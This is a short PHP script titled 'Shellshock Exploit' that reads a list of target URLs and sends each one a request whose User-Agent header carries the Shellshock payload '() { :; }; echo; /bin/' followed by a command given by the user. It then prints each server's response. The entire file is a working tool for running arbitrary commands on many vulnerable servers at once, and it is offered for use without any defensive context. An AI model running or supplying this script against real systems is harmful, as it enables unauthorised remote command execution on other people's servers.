Shellshock Exploit

<?php
/*

CODED BY : Evoo

*/

if(!isset($argv[1],$argv[2]))
{
die("How To Use: ".$_SERVER['PHP_SELF']." listurl.txt linuxcommand\n");
}
else
{

$getfile=@file_get_contents($argv[1]);
$pecah=explode("\r\n",$getfile);
foreach ($pecah as $links){
  print "[Scan]=>$links\n";
  pwn($links,$argv[2]);
}
}
function pwn ($site,$cmd){
$useragent =  "() { :; }; echo; /bin/".$cmd."";
//$useragent =  "() { :; }; echo; /bin/uname";
$ch = curl_init($site);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
print_r("\t".$postResult);
/*if (eregi("Linux",$postResult)){
    echo "[+]Vulnerable\n";
}else{
        echo "[-]Tidak Vuln\n";
}
*/
}

?>